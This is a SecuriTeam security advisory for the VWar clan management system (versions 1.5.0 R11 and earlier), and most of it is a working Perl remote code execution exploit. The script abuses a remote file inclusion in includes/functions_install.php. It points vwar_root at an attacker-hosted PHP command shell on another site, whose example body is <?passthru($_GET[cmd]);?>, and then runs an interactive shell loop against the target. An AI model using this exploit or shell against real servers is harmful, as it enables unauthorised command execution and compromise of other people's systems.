SecuriTeam - VWar Remote Code Execution (Exploit)

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Vwar is is a clan management system. It stores all clan members details. Logs match results and keeps track of upcomming matches. Using the links under the Vwar menu, you can view all clan members, view upcomming matches, view previous results, view clan statistics and members can log into Vwar to edit their own profile.

Vulnerability in VWar allows remote code execution.

Credit:
The information has been provided by uid0.

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Vulnerable Systems:
* VWar versions 1.5.0 R11 and prior.

Exploit:
#!/usr/bin/perl
##
# VWar <= 1.5.0 R11 Remote Code Execution Exploit
# Bug Found By [Oo] code by uid0/zod
##
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable>
#
# perl vwar.pl http://site.com/vwar/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
        print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/functions_install.php?vwar_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ ]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
        {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
        $finreturn = $1;
        $finreturn=~ tr/[ ]/[\n]/;
        print "\r\n$finreturn\n\r";
        last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n============================================================================\r\n";
print " *VWar <= 1.5.0 R11 Remote Code Execution Exploit*\r\n";
print "============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable>\r\n\n";
print " <Site> - Full path to VWar ex: http://www.site.com/vwar/ \r\n";
print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "============================================================================\r\n";
print " Bug Found by [Oo] code by zod/uid0\r\n";
print " www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
print "============================================================================\r\n";
exit();
}

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